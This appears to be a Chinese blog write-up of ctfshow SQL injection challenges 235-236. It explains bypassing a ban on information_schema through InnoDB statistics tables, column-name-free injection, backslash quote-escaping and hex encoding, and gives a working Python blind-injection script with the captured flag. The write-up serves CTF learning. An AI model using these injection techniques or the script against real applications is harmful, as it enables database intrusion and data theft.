ctfshow sql235-236_updata_ban-infomation表_无列名注入

updata_ban-infomation表_无列名注入

updata

在这里插入图片描述
过滤了引号,用反斜杠 \ 注释掉password 后面的引号,那么username就能为我们控制
有用字符串的地方可以用 16 进制表示

ban-infomation表

很简单的无列名注入
首先是ban了information表,可以有很多其他表代替,得到数据库中的表名
Bypass information_schema与无列名注入
概述MySQL统计信息

mysql.innodb_table_stats和mysql.innodb_index_stats
这两个表比较好用,可以用自己的mysql试一下
得到了表名,下面就无法得到列名了,其他表没有column的信息

无列名注入

这里我拿这个users表举例
在这里插入图片描述
我们只知道表名 users,我们可以使用这样的一个联合查询,可以看到他的列名就会变成数字
我们还需要知道他的列数才行
在这里插入图片描述
之后我们要查哪一列信息,就可以用数字
注意:数字要用反引号
意思就是 把后面union查询的结果当一个表 注意要起别名 例如我后面这个 a
在这里插入图片描述
反引号不能用时:
在这里插入图片描述

布尔注入脚本

import requests
import random
url = 'http://e6ee800c-7aca-4c5d-863b-7694aafc6bfb.challenge.ctf.show:8080/api/index.php'

database = 'database()'

databases = 'select group_concat(schema_name) from information_schema.schemata'

tables = 'select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()'

column = 'select group_concat(column_name) from information_schema.columns where table_name=0x666c616761'

flag="select group_concat(concat(`1`,`2`,`3`)) from (select 1,2,3 union select * from flaga) a "
#ctfshow{b2b18bea-dc4a-4ff5-a0d3-1256b3d4c370}
sql_in = 'sql inject error'
result = ""  # 结果
judge = "u6210"  # 判断
m=random.randint(1,100000)
for i in range(1, 100):
    l = 33
    r = 130
    mid = (l + r) >> 1
    while (l < r):
        payload = { #过滤了单引号
            'username':"where username=0x7573657231 and ascii(substr(({}),{},1))>{}#".format(flag,i,mid),
            'password':str(m)+'\\'
        }
        html = requests.post(url, data=payload)
        #print(html.text,mid)
        if sql_in in html.text:
            print('error!!')
            break
        if judge in html.text:
            l = mid + 1
            m = random.randint(1, 100000)
        else:
            r = mid
        mid = (l + r) >> 1
        # if (chr(mid) == " "):
        #     break
    if result[-1] == '!':
        break
    result = result + chr(mid)

    print(result)
print("result: ", result)

当union被过滤了

在这里插入图片描述

首先可以通过两列数据的比大小来确定列数
在这里插入图片描述
在这里插入图片描述
说明有三列数据

然后还是数据比大小来确定数据内容
在这里插入图片描述

236

过滤了flag 用 16进制表示 代替,其他同上

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值